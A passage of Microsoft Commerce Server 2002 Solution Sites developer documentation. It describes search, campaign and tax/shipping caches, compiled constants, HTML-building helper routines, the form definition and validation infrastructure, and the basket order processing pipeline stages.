See Also

Search Caching for Solution Sites

Optimizing Commerce Server


Search Caching for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

There are three caches for search — one for full text search and two that support specification searches. They are created in the identical fashion as the catalog caches, and are refreshed with them.

SearchDeptPageCache

StepSearchPageCache

FTSearchPageCache

SearchDeptPageCache

The cache SearchDeptPageCache is used to store search results on the srchdept.asp page. This page is reached by the Advanced link next to the Search button on the menu pane. This cache is referenced in the Main (srchdept.asp) and bIsSearchDeptPageCached functions.

StepSearchPageCache

The cache StepSearchPageCache is used to store search results on the stepsrch.asp page. This page is reached from the department links on the srchdept.asp page. This cache is referenced in the Main (stepsrch.asp) and bIsStepSearchPageCached functions.

FTSearchPageCache

The cache FTSearchPageCache is used to store full text search results on the search.asp page. This page is reached by clicking the Search button on the menu pane. This cache is referenced in the bFullTextResultsAreCached and htmRenderFullTextSearchResults functions.

See Also

Catalog Caching for Solution Sites

template\menu.asp

Product Catalog Programming Concepts

Code to Perform a Specification Search of a Catalog

Code to Perform a Free-Text Search of a Catalog


Campaign Caching for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Solution Sites provide two caches for advertisements and discounts that are used by the Content Selection Framework (CSF). Site developers do not need to reference these caches. Unlike the catalog caches, these caches use Dictionary objects, so they are initialized in a slightly different way.

Advertisement Cache

Discounts Cache

Advertisement Cache

Initialization

The following code, from the InitCacheManager function, shows the creation of the advertising cache:

'Create the configuration dictionary.
    Set dictCampaignConfig = GetDictionary()
    dictCampaignConfig("ConnectionString") = _
        dictConfig.s_CampaignsConnectionString
    Set dictCampaignConfig("Evaluator") = oEvaluator
        ' oEvaluator is the Commerce Server ExpressionEvaluator.

    ' Configure CacheManager for ads.
    oCacheManager.RefreshInterval("advertising") = 5*60
    oCacheManager.RetryInterval("advertising") = 60
    oCacheManager.LoaderProgId("advertising") = _
        "Commerce.CSFLoadAdvertisements"
    oCacheManager.WriterProgId("advertising") = "Commerce.CSFWriteEvents"
    Set oCacheManager.LoaderConfig("advertising") = dictCampaignConfig
    Set oCacheManager.WriterConfig("advertising") = dictCampaignConfig

Discounts Cache

Initialization

The following code, from the InitCacheManager function, shows the creation of the discounts cache:

'Create the configuration dictionary.
    Set dictCampaignConfig = GetDictionary()
    dictCampaignConfig("ConnectionString") = _
        dictConfig.s_CampaignsConnectionString
    Set dictCampaignConfig("Evaluator") = oEvaluator
        ' oEvaluator is the Commerce Server ExpressionEvaluator.

'Configure CacheManager for discounts.
    'Setting RefreshInterval to 0 disables automatic refreshing.
    oCacheManager.RefreshInterval("discounts") = 0
    oCacheManager.RetryInterval("discounts") = 60    'seconds
    oCacheManager.LoaderProgId("discounts") = "Commerce.CSFLoadDiscounts"
    oCacheManager.WriterProgId("discounts") = "Commerce.CSFWriteEvents"
    Set oCacheManager.LoaderConfig("discounts") = dictCampaignConfig
    Set oCacheManager.WriterConfig("discounts") = dictCampaignConfig

See Also

Content Selection Pipelines


OPP Caching for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Solution Sites use several pipeline components that require specific caches. The Solution Sites provide two caches for tax and shipping that are used by the Order Processing pipeline. Site developers do not need to reference these caches. Unlike the catalog caches, these caches use Dictionary objects, so they are initialized in a slightly different way.

SampleRegionalTaxCache Cache

Shipping Method Router Cache

SampleRegionalTaxCache Cache

Initialization

The following code, from the InitCacheManager function, shows the creation of the SampleRegionalTaxCache cache:

'Create the configuration dictionary.
    Set dictTransactionConfig = GetDictionary()
    dictTransactionConfig("ConnectionString") = _
        dictConfig.s_TransactionConfigConnectionString

    ' Configure CacheManager for tax.
    oCacheManager.RefreshInterval("SampleRegionalTaxCache") = 0
    oCacheManager.RetryInterval("SampleRegionalTaxCache") = 60
    oCacheManager.LoaderProgId("SampleRegionalTaxCache") = _
        "Commerce.SampleRegionalTaxCache"
    Set oCacheManager.LoaderConfig("SampleRegionalTaxCache") = _
        dictTransactionConfig

The initialization code calls the GetCache method on the tax cache to ensure that Commerce Server Business Desk is informed that this application is caching tax information.

    Call oCacheManager.GetCache("SampleRegionalTaxCache")

Shipping Method Router Cache

The Shipping Method Router pipeline component requires a cache named ShippingManagerCache.

Initialization

The following code, from the InitCacheManager function, shows the creation of the cache ShippingManagerCache:

'Create the configuration dictionary.
    Set dictTransactionConfig = GetDictionary()
    dictTransactionConfig("ConnectionString") = _
        dictConfig.s_TransactionConfigConnectionString

    ' Configure CacheManager for shipping.
    oCacheManager.RefreshInterval("ShippingManagerCache") = 0
    oCacheManager.RetryInterval("ShippingManagerCache") = 60
    oCacheManager.LoaderProgId("ShippingManagerCache") = "Commerce.ShippingManagerCache"
    Set oCacheManager.LoaderConfig("ShippingManagerCache") = dictTransactionConfig

    ' Call GetCache() on the shipping cache to ensure that Business Desk
    ' is informed that this application is caching shipping information.
    Call oCacheManager.GetCache("ShippingManagerCache")

See Also

Shipping Objects

Tax Objects


Other Caches

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The CatalogManager object properties and the profiles in the ProfileService object are cached in application level dictionaries for performance reasons. This is a different mechanism from the other caches; the CacheManager object does not manage these dictionaries.

Catalog Manager Properties Cache

Profile Definition Cache

CatalogManager Properties Cache

The MSCSCatalogAttribs dictionary caches the catalog attributes as exposed by the CatalogManager object. This cache is used for quicker attribute lookup on the product.asp page. The dictGetCatalogAttributes function loads properties into the dictionary. This dictionary is refreshed when the other catalog caches are refreshed in the file BDRefresh.asp.

Profile Definition Cache

The MSCSProfileProperties dictionary caches the profile definition information. The dictGetProfileSchemaForAllProfileTypes function loads the profile definitions from MSCSProfileService in the include\global_main_lib.asp file. This cache has a refresh mechanism that is similar to other site caches. However the Publish Profiles module in Commerce Server Business Desk calls the RefreshApp.asp page instead of the BDRefresh.asp file.


Adding a New Cache

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

You can create a cache using either a dictionary or LRUCache object. The choice depends on how you use the cache. If you are going to cache HTML fragments, particularly if the number of fragments is likely to grow beyond a reasonable cache size, it is advisable that you use the LRUCache object. The wrapper functions discussed in Catalog Caching for Solution Sites expect an LRUCache object.

Initialize your cache in the file include\std_cache_lib.asp. Depending on how you want to refresh your cache, you may need to modify the file BDRefresh.asp as follows. If you are adding another catalog cache you will need to add it to the list catalog caches. If you are adding multiple caches that must be refreshed together, you will need to add a an additional case statement to detect your cache names and refresh all of your caches

In order to refresh a cache from Commerce Server Business Desk the CacheLoader component has to notify Business Desk that the cache is present. The CacheLoader component inserts a new record, or updates an existing record, in a table in your site database with the computer URL, the cache name, and the date created. If you are adding an additional catalog-related cache you can use the same table as the other catalog caches, the CatalogCache_Virtual_Directory table.

If you are adding a cache for data that is not related to an existing data source you will want to create a new table for registering the cache. See the txVirtual_directory table, used for order related caches, in the Solution Sites database for an example of the table to create if you are caching data from a different source. You will need to modify Business Desk to look at your new table. See the retailbizdesk\productionrefresh\refresh.asp file in the Business Desk site for an example of Business Desk code that triggers a cache refresh.

The LRUCacheLoader component uses information in the LoaderConfig dictionary to write the necessary record the first time the cache is called. The following code shows how the cache ProductListCache is configured:

'Get the connection string from the configuration dictionary.
'This is the connection string to the database containing the table.
    dictProductListCacheConfig("ConnectionString") = _
       dictConfig.s_TransactionConfigConnectionString

'Set the name of the table used to provide information to Business Desk.
    dictProductListCacheConfig("TableName") = _
        "CatalogCache_Virtual_Directory"

'CacheName is one of the fields inserted in the above table.
'It also is used in BDRefresh.asp to trigger
'refreshing all catalog caches.
    dictProductListCacheConfig("CacheName") = "CatalogCache"
'Machine Base URL, to be inserted in the above table.
    dictProductListCacheConfig("AppUrl") = sMachineBaseURL
...

See Also

Code to Implement Custom Cache Components

Code to Manipulate an LRUCache Object

Building Pipeline Components

Building Business Desk Modules


Constants in Solution Site Applications

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Most of the constants in the Solution Sites application are contained in the AppConsts 1.0 Type Library, which can be found in <Drive>:\Program Files\Microsoft Commerce Server\appconsts.tlb. This type library was released with Microsoft Commerce Server 2002 and can be used by any application. Declaring constants in a type library greatly improves performance, but does make it more difficult to change the values of the constants. You can view the contents of the type library with Microsoft Visual Basic or the OLE View tool in Microsoft Visual Studio. For a list of the constants, see Constants Reference.

The type library is declared in a METADATA tag near the top of the global.asa file. This makes the constants available anywhere within the application. Search for "TypeLibrary Declarations" on the Microsoft Developer Network (MSDN) Web site at http://go.microsoft.com/fwlink/?LinkId=5161 for more information about using the "TypeLib" METADATA tag.

The AppConsts 1.0 Type Library replaced the include file \include\consts.asp during the development of the Solution Sites application. This change was made to improve performance. This file was left in the Solution Sites application so that constants could be added to the application without recompiling the type library. The file \include\consts.asp is currently empty.

The file services\include\const.asp contains constants specific to the partner/customer service portion of the Solution Sites application.

This section contains:

  • Using Compiled Constants in Solution Site Applications
  • Re-compiling Constants Using MIDL for Solution Site Applications

See Also

Constants Reference


Using Compiled Constants in Solution Site Applications

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The constants declared in the AppConsts 1.0 Type Library are available throughout the scope of the application, and can be used exactly like constants declared directly in the ASP pages.

It is possible to have constants with the same name in more than one type library. You can avoid ambiguous references to constants by adding the type library name as a prefix for the constant, for example, AppConstsLib.SITE_NAME.

See Also

Re-compiling Constants Using MIDL for Solution Site Applications


Re-compiling Constants Using MIDL for Solution Site Applications

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

If you change any of the constants declared in the AppConsts 1.0 Type Library you will need to recompile the edited source to make a new type library

The source for the AppConsts 1.0 Type Library is in the Microsoft Commerce Server SDK at <Drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Solution Sites\AppConsts.idl.

The following procedure shows the general steps to follow to create a new type library.

To re-compile constants using MIDL

  1. Edit the .idl file as needed.
  2. Generate a new globally unique identifier (GUID) with the GUIDGEN.exe file (included with Microsoft Visual Studio).
  3. Replace the universally unique identifier (UUID) declaration in the .idl file with the new GUID.
  4. [optional]Rename the type library.
  5. Run the Microsoft Interface Definition Language (MIDL) compiler.

    Note

    • For more information about running the MIDL compiler, search the Microsoft Developer Network (MSDN) Web site at http://go.microsoft.com/fwlink/?LinkId=5161 for "Invoking the MIDL Compiler."
  6. [optional] Register the resulting .tlb file.

    Note

    • If you have multiple servers the type library will need to be registered on each server.
    • If you write the METADATA tag to reference the type library by file name rather than by UUID, you do not have to register the type library. Saving the file at the root of your application will make it easy to include the file if the application is packaged for distribution to multiple servers.
  7. Modify the METADATA tag to reference the new type library. The following example references a type library by its file name.
    <!--METADATA TYPE="TypeLib"
FILE="MyComponent.tlb"
-->

    Note

    • For more information about using the "TypeLib" METADATA tag, search the Microsoft Developer Network (MSDN) Web site at http://go.microsoft.com/fwlink/?LinkId=5161 for "TypeLibrary Declarations."


HTML Construction for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites use a technique for constructing HTML that differs from the more traditional technique in which HTML tags, content, and script are freely intermixed on Web pages. Opposed to this, nearly all of the HTML returned to browsers by the Solution Sites is produced by script.

As is the case in most large Web sites, the data itself, such as the descriptions and prices of products in the catalog, is retrieved from databases using script.

The Solution Sites take this technique further, retrieving the content that explains the data from strings that are defined centrally. This methodology has the advantage of making localization of the Web site much more straightforward.

Script is used to intermix the data, the centralized content, and the HTML tags that format both. The script produces strings, sometimes quite large, that are then written to the browser using either the Write method of the intrinsic Response object, or the abbreviated form: <%= sHTM %>.

One of the main advantages of this technique, that builds the HTML in strings, is that the strings can be cached, thereby reducing database access. The Solution Sites use caching extensively.

The Solution Sites include a utility routine file that contains routines dedicated to helping you construct HTML. The name of this file is include\html_lib.asp.

This section contains:

  • HTML Construction Methodology for Solution Sites Provides a brief explanation of the string concatenation methodology used within the Solution Sites script to build strings containing complex HTML.
  • Categories of Routines used for Solution Sites Provides a functional categorization of the routines in the file include\html_lib.asp.


HTML Construction Methodology for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

String concatenation is used extensively throughout the Solution Sites code to build the strings of HTML that are eventually written to the browser. The nature of HTML lends itself quite naturally to this technique, as the following examples show.

Given a hypothetical routine that produces HTML, named htmReturnsHTML, and a variable for "collecting" the accumulating HTML, named htmContent, the following examples show how intuitive it is to wrap, prepend, or append one string of HTML to another.

Wrap: htmContent = "<B>" & htmReturnsHTML() & "</B>"
Wrap: htmContent = "<P>" & htmContent & "</P>"
Prepend: htmContent = htmReturnsHTML() & htmContent
Append: htmContent = htmContent & htmReturnsHTML()

The file include\html_lib.asp contains many routines that have encapsulated these types of string concatenations. Some are quite simple, like the functions Bold and Italic. Others are more complex, like the routines provided for building HTML tables. For more information about the different categories of routines provided in the file include\html_lib.asp, see Categories of Routines used for Solution Sites.

Another important aspect of the HTML routines concerns styles, which are most often set by specifying attributes to the HTML elements. For example, the function RenderText takes two parameters: str and sAttList. The parameter str provides the basic string that is going to be wrapped in a FONT element. The parameter sAttList provides a list of attributes that will be associated with the FONT element, providing such characteristics as the type and size of the font to be rendered. The function RenderText consists of the following line of code:

RenderText = "<FONT" & sAttList & ">" & str & "</FONT>"

Notice how the value of the sAttList parameter is embedded within the starting FONT tag, in the position where element attributes occur. The strings you construct for the sAttList parameters that are used by many of the HTML routines are space-separated lists of attributes appropriate to the element with which they are being associated. They must begin with a space character so that the first attribute specified will be separated from the element tag itself.

Another way in which styles are specified occurs globally, in a Dictionary object accessible through the page variable MSCSSiteStyle. This dictionary contains numerous entries that provide styles to be applied in different contexts throughout the HTML produced by the Solution Sites code. For example, it is common to see a line of code like the following in the Solution Sites code (RenderLink is called 43 times), which shows the global link style being passed as the sAttList parameter to the RenderLink function:

htmContent = htmContent & RenderLink(urlLink, htmLinkText, _
                                     MSCSSiteStyle.Link) & BR

This technique allows you to easily make global changes to the styles used in your site. For more information about the global style settings, see Customizing Styles.

If suitable for the users of your site, you could implement client-side styles by using these global style dictionary entries to define CLASS and ID attributes for use with Cascading Style Sheet (CSS) files.

The preceeding RenderLink example illustrates another important aspect of the HTML construction infrastructure used by the Solution Sites: constants are provided for some of the simpler HTML tags, such as BR for "<BR>". Using these constants can make the code read more cleanly. For more information about these constants, see HTMLLib Constants.


Categories of Routines used for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The routines in the file include\html_lib.asp can be categorized as follows:

Basic Formatting Routines

The routines in this category are used to format the string passed to them in using a basic HTML formatting element, such as B, I, or P, for bold, italic, and paragraph, respectively. Two of the routines, RenderElement and Tag, allow for an arbitrary element to be specified, making them very flexible.

Bold
BRTag
Italic
PTag
RenderElement
Tag
RenderPreFormattedText
RenderText

Hyperlinking Routines

The routines in this category are unique because they require that a URL be passed as one of their parameters (exceptions to this rule are the RenderForm and RenderImageButton routines, which must also be passed URLs as parameters; they has been categorized with the other form building routines below).

RenderImage
RenderLink

List Building Routines

The routines in this category are used to build HTML lists. They are passed their data in varying forms, and they convert the data to be wrapped in a series of LI elements, sometimes surrounding those with a UL element.

RenderListFromSimpleList
RenderUnorderedList
RenderUnorderedListFromSimpleList

Table Building Routines

The routines in this category are used to build HTML tables. Their table data is passed to them in the form of array parameters, with an entire row of data being passed in a single array. The routine RenderTable is always called last, as it wraps the accumulated TR elements in a TABLE element.

RenderTable
RenderTableDataRow
RenderTableHeaderRow
RenderTableRow

Form Building Routines

The routines in this category are used to build HTML forms. All of them except the RenderForm routine are used to build INPUT elements with TYPE attributes of various sorts. Once a series of INPUT elements has been accumulated, the RenderForm routine is called to wrap those elements in a FORM element, with the specified ACTION and METHOD attributes.

Note that the use of the forms infrastructure provided by the Solution Sites means that you generally do not need to call these routines directly. For more information about the forms infrastructure, see Forms Processing for Solution Sites.

RenderCheckBox
RenderHiddenField
RenderImageButton
RenderListBox
RenderListBoxFromArray
RenderListBoxFromSimpleList
RenderPasswordBox
RenderRadioButton
RenderResetButton
RenderSubmitButton
RenderTextBox
RenderForm

Miscellaneous Array Routines

The routines in this category are miscellaneous routines that share the characteristic of performing HTML formatting operations on parameters that are arrays of strings.

GetRepeatStyle
InsertBlankSpace
InsertLineBreaks
InsertParagraphBreaks


Forms Processing for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Forms processing and rendering in the Commerce Server Solution Sites is based on a data structure that consists of a Dictionary object containing a collection of SimpleList objects, each of which contains a series of Dictionary objects. Each SimpleList object represents a form, and contains an ordered set of form fields, represented as subordinate Dictionary objects. Each of these Dictionary objects represents the schema of the single form field. This structure can be illustrated as follows:

Form Definitions Dictionary
FormA Fields SimpleList
Field1 Schema Dictionary
Field2 Schema Dictionary
. . .
FieldN Schema Dictionary
FormB Fields SimpleList
Field1 Schema Dictionary
Field2 Schema Dictionary
. . .
FieldN Schema Dictionary
. . .
FormN Fields SimpleList
Field1 Schema Dictionary
Field2 Schema Dictionary
. . .
FieldN Schema Dictionary

The topics in this section provide additional information about the forms infrastructure so that existing forms can be easily modified, and new forms can be easily created.

This section contains:

  • Form Definition Keys Used in Solution Sites
  • Form Field Schema
  • Run Time Use


Form Definition Keys Used in Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The subroutine Main in the file include\global_main_lib.asp executes the following line of code to initialize the form definitions Dictionary object and assign it to the intrinsic Application object using the key "MSCSForms":

Set Application("MSCSForms") = GetFormDefinitions()

The function GetFormDefinitions contains lines of the following form, which establish a series of SimpleList objects to represent the various forms used within the Solution Sites, and associate them with well-known key names in the Form Definition Dictionary:

Set dictForms.Value("FormDefKey") = GetFormTypeFieldDefinitions()

The following table shows the form definition keys used in the Solution Sites and the corresponding initialization function.

Form Definition Keys | Initialization Function
AddressBookAddress | GetAddressBookAddressFieldDefinitions
BillToAddress | GetAddressFieldDefinitions
CreditCard | GetCreditCardFieldDefinitions
Login | GetLoginFieldDefinitions
PurchaseOrder | GetPurchaseOrderFieldDefinitions
Registration | GetRegistrationFieldDefinitions
ShipToAddress | GetShipToAddressFieldDefinitions

Once defined, the form definitions are accessed in various pages in the Solution Sites and used for preparing the HTML from which the form will be rendered, as well as in form validation routines. The Solution Sites code contains lines of the following form to retrieve the SimpleList object that represents the fields of a particular form:

Set listFlds = Application("MSCSForms").Value("FormDefKey")


Form Field Schema

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The fields in each form are represented as a SimpleList object containing a Dictionary object for each field in the form. Each of these Dictionary objects is populated with a well-known set of entries corresponding to attributes of the field; in other words, the schema for the field. The following table describes these attributes.

Field Schema Dictionary Key | Description
Name | An arbitrary string naming the field.
Label | An arbitrary string providing a label for the field in the user interface. The string is retrieved from the MessageManager object for localization purposes.
Size | A number providing the size of the input field.
MinLength | A number providing the minimum required length of the input.
MaxLength | A number providing the maximum required length of the input.
InputType | A constant providing the type of the input field. Legal values are: TEXTBOX, LISTBOX, PASSWORD, and CHECKBOX.
ErrorMessage | A string providing an error message when field validation fails. The string is retrieved from the MessageManager object for localization purposes.
IsRequired | A Boolean specifying whether the field is required or not, and used during field validation.
Pattern | An optional string providing a regular expression that must be matched for field validation to succeed.
PatternErrorMessage | An optional string providing a custom error message when pattern validation fails. If this dictionary entry is not supplied, and the Pattern entry is supplied, and pattern validation fails, the ErrorMessage entry will be used to report the error.
RawInput | If this property is not Null, this form field will be retrieved without stripping the characters quote ("), left bracket (<), or right bracket (>), as normally performed by the routine GetRequestString. If you read fields using this technique, make sure you do not write the field values back to the browser, as it could lead to erroneous interpretation of content as client script.
ListItems | When the InputType entry is set to "LISTBOX", a SimpleList object that provides list box display names.
ListValues | When the InputType entry is set to "LISTBOX", a SimpleList object that provides list box values corresponding to the display names.


Run Time Use

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The SimpleList object that represents the schema of the fields in a particular form is passed as a function parameter in a variety of circumstances, often in conjunction with one or two other Dictionary objects.

The first type of associated Dictionary object is most often associated with the parameter name dictFldVals. This type of Dictionary object contains key/value pairs where the keys are the names of the fields (corresponding to the Name key in the field schema dictionary), and the values are either actual submitted form values or default values for that form.

The second type of associated Dictionary object is most often associated with the parameter name dictFldErrs. This type of Dictionary object contains key/value pairs where the keys are the names of the fields (corresponding to the Name key in the field schema dictionary), and the values are error messages associated with validation failures for the corresponding field.

There are five basic circumstances where the form field SimpleList objects and the associated types of Dictionary objects are used in the Solution Sites code. The first three of these correspond to function calls related to form field validation, the fourth corresponds to initializing default values for forms, and the fifth corresponds to the preparation of the HTML that will render the form.

This section contains:

  • Forms Processing Code Flow for Solution Sites
  • IsFormSubmitted Routine
  • GetSubmittedFieldValues Routine
  • GetFieldsErrorDictionary Routine
  • ValidateSubmittedItem Routines
  • GetDefaultValuesForItemFields Routines
  • htmRenderFillOutForm Routine


Forms Processing Code Flow for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

There are three typical scenarios that result in different code flow:

  • Form is being shown for the first time
  • Form is submitted with data that is not valid
  • Form is submitted with valid data

Form is being shown for the first time

  1. The call to the IsFormSubmitted routine determines that the form is being shown for the first time.
  2. Call the htmRenderFillOutForm routine to prepare the HTML that will render the form. The parameters are as follows:

    urlAction

    Typically set to the page that the form is on (for pages that are self-validating).

    sFormName

    The name of the form.

    dictFieldVals

    A Dictionary object containing initial values for the form. Pass Nothing to create an empty form. For a pre-populated form, pass a dictionary with key/value pairs where the keys are the form field names, and the values are the initial values. The Solution Sites use the GetDefaultValuesForItemFields routines to build these dictionaries.

    dictMessages

    Set to Nothing.

Form is submitted with data that is not valid

  1. The call to the IsFormSubmitted routine determines that the form is being submitted.
  2. Call the GetSubmittedFieldValues routine to create a Dictionary object that contains the form field values submitted with the HTTP request. The one parameter is the field definition dictionary for the form.
  3. Call the GetFieldsErrorDictionary routine to perform field-level validation based on the passed field definition dictionary and the dictionary with field values returned by the call to the GetSubmittedFieldValues routine. If the returned Dictionary object is empty, no field-level validation errors were found.
  4. Perform any custom validation that is required, such as validation that requires database access, or cross-field validation. If the custom validation code associates error messages with particular form fields, it should write error messages into the same Dictionary object returned by the GetFieldsErrorDictionary routine. In the Solution Sites, the ValidateSubmittedItem routines perform this function.
  5. In this scenario, field validation errors were found in either step 4 or step 5 (or both). Call the htmRenderFillOutForm routine to prepare the HTML that will re-render the form so that the user can correct the invalid data. The parameters are as follows:

    urlAction

    Typically set to the page that the form is on (for pages that are self-validating).

    sFormName

    The name of the form.

    dictFieldVals

    A Dictionary object that can contain either the original default data for the form, or the posted data that includes the data that is not valid, or a combination of the two. You could also pass Nothing if it makes the most sense for the user to start from scratch.

    dictMessages

    A Dictionary object that contains error messages associated with the form fields that failed validation. This dictionary contains key/value pairs where the keys are the form field names, and the values are error messages that will be displayed below the form fields to which they correspond. If this parameter is set to Nothing, no such error messages will be displayed.

Form is submitted with valid data

  1. The call to the IsFormSubmitted routine determines that the form is being submitted.
  2. Call the GetSubmittedFieldValues routine to create a Dictionary object that contains the form field values submitted with the HTTP request. The one parameter is the field definition dictionary for the form.
  3. The call to the GetFieldsErrorDictionary routine performs field-level validation based on the passed field definition dictionary and the dictionary with field values returned by the call to the GetSubmittedFieldValues routine. It returns an empty Dictionary object, indicating that no field-level validation errors were found.
  4. Custom validation, normally performed by the ValidateSubmittedItem routines, determines that no other errors are present.
  5. Since no form field errors were found, accept the form submittal by processing the form data and proceeding to the next page (usually by re-directing to a different page).


IsFormSubmitted Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The function IsFormSubmitted determines whether the form has been submitted with values to be validated and processed, or whether the form is being displayed for the first time. To make this determination, this function looks for a request variable named MODE. If present, the form has been submitted with data.


GetSubmittedFieldValues Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The function GetSubmittedFieldValues creates, initializes, and returns a Dictionary object that contains an entry for every posted form value that has a name corresponding to one of the field names in the field definition SimpleList object passed in the listFlds parameter.

The following line of code shows the creation of such a Dictionary object:

Set dictFldVals = GetSubmittedFieldValues(listFlds)


GetFieldsErrorDictionary Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The function GetFieldsErrorDictionary creates, initializes, and returns a Dictionary object that contains an error message entry for every posted form field value that fails validation, as specified by the values passed in the dictFldVals parameter and the schema passed in the listFlds parameter.

The returned Dictionary object will be empty if there are no errors. When errors are found, this dictionary can be passed into the routine htmRenderFillOutForm to show error messages associated with particular fields.

The following line of code shows the creation of such a Dictionary object:

Set dictFldErrs = GetFieldsErrorDictionary(listFlds, dictFldVals)


ValidateSubmittedItem Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following functions are used to perform custom validation for submitted form data for different types of forms used within Commerce Server. The field definition SimpleList object passed in their listFlds parameters provide the schema against which the values passed in the Dictionary object passed in the dictFldVals parameter can be tested.

iValidateSubmittedAddress
iValidateSubmittedAddressForAddressBook
iValidateSubmittedRegistrationData
ValidateSubmittedCreditCardData
ValidateSubmittedLoginData
ValidateSubmittedPurchaseOrderData

The schema also provides the error messages that are copied into the Dictionary object passed in the dictFldErrs parameter of these functions. The function GetFieldsErrorDictionary is called to perform the field-level validation based on the schema, and other, more specialized validation and error message copying are performed in the ValidateSubmittedItem functions.

The following code shows a call to validate a submitted address form:

iErrorLevel = iValidateSubmittedAddress(listFlds, _
                                        dictFldVals, _
                                        dictFldErrs)

In this call, the listFlds and dictFldVals parameters are passing data into the function, and the return value and the dictFldErrs parameter are passing data out of the function.


GetDefaultValuesForItemFields Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following functions create, initialize, and return Dictionary objects that contain an entry for every default form value that has a name corresponding to one of the field names in the field definition SimpleList object passed in their listFlds parameters.

GetDefaultValuesForAddressFormFields
GetDefaultValuesForCreditCardFields
GetDefaultValuesForPurchaseOrderFields

Depending on how the default values are being derived, the field definition SimpleList object can be used to iterate through the fields in the form.

The following code shows the creation of such a Dictionary object:

Set dictFldVals = GetDefaultValuesForAddressFormFields(mscsOrderGrp, _
                                                       listFlds, _
                                                       iAddrType)


htmRenderFillOutForm Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The function htmRenderFillOutForm prepares the HTML that will render the specified form. The form is constructed based on the fields definitions dictionary, a form values dictionary, and a form error messages dictionary. The form errors dictionary allows the form to redisplayed upon validation failure, with error messages displayed next to the fields found to have data that is not valid.

Rather than passing the form definition SimpleList object, the form definition dictionary key is passed and the form definition SimpleList object is retrieved directly from the intrinsic Application object.

Form field values are passed in the Dictionary object specified by the dictFldVals parameter. These might be values actually posted using the form, or they might be default values. In any event, if a value is present for a particular form field, it is provided as a default. You can pass Nothing for this parameter to display a completely blank form.

Form field error messages are passed in the Dictionary object specified by the dictFldErrs parameter. This dictionary is typically built using the routine GetFieldsErrorDictionary and one of the routines with names of the form ValidateSubmittedItem routines. An error message will be present for a particular field when there is an error associated with that field. If an error message is present, it is added to the produced HTML such that it will appear directly below the form field to which it corresponds.

The following code shows how the HTML for rendering a form is constructed and appended to HTML that has already been constructed:

htmContent = htmContent & htmRenderFillOutForm(urlAction, _
                                               "ShipToAddress", _
                                               dictFldVals, _
                                               dictFldErrs)


Pipelines for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The default implementation of the Solution Sites uses three pipeline files to automate the business process. First, the OPP for Baskets gathers basket information and computes the order subtotal. Next, the OPP for Totaling Orders, computes tax, shipping, handling, and the order total. And finally, the Checkout pipeline receives and accepts the payment information. Pipeline logging can be enabled for pipelines to aid in the debugging process.

If the App Default Config settings enable BizTalk Server integration, the recvpo.pcf file is used to handle the processing of purchase orders received through BizTalk Server.

This section contains:

  • OPP for Baskets
  • OPP for Checkout
  • OPP for Receiving Purchase Orders
  • OPP for Totaling Orders
  • Pipeline Log Files


OPP for Baskets

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that gathers basket information and computes the order subtotal.

The basket.pcf file is modeled on the plan.pct file (pipeline configuration template). For more information about the plan.pct file, see "Plan Pipeline" in Commerce Server 2002 Help.

Product Info Stage

This stage checks for product information and removes any unknown products.

The components included in this stage are shown in the following table.

Component | Description
QueryCatalogInfo | Retrieves catalog information for every item in the order form. Uses the Commerce Server 2002 Product Catalog System. Marks missing items for deletion and adds basket errors if necessary.
RequiredProdInfo | Deletes any items marked for deletion and writes the appropriate error messages.

Merchant Information Stage

This stage retrieves and writes merchant information to the OrderForm object.

Shopper Information Stage

This stage retrieves and writes shopper information to the OrderForm object.

Order Initialization Stage

This stage sets the initial order information on the OrderForm object and verifies that the OrderForm object contains an order ID.

The component included in this stage is shown in the following table.

Component | Description
RequiredOrderInitCy | Initializes the OrderForm object to contain user information.

Order Check Stage

This stage verifies that the order can be processed.

The component included in this stage is shown in the following table.

Component | Description
RequiredOrderCheck | Ensures that the OrderForm object contains at least one line item.

Item Price Stage

This stage ensures that the _cy_iadjust_currentprice key for each item contains the most current price information.

The components included in this stage are shown in the following table.

Component | Description
DefaultItemPriceCy | Initializes the _cy_iadjust_regularprice key for each line item to store the most current price.
RequiredItemPriceCy | Ensures that the _cy_iadjust_regularprice key for each line item is set.

Item Adjust Price Stage

This stage ensures that the _cy_iadjust_currentprice key for each item contains the most current price.

The component included in this stage is shown in the following table.

Component | Description
RequiredItemAdjustPriceCy | Validates that the price of the item is set and has not changed since it was added to the basket. If the price has changed, the error message "_Basket_Error" is returned.

Order Adjust Price Stage

This stage decrements the _n_unadjusted key, which is initialized to 'quantity' by the RequiredOrderInit component as line item units participate in discounts. The _cy_oadjust_subtotal key must be set to the price of the adjusted items.

The components included in this stage are shown in the following table.

Component | Description
Order Discount | Applies discounts scheduled in the Campaign Manager module in Commerce Server Business Desk to the shopping basket.
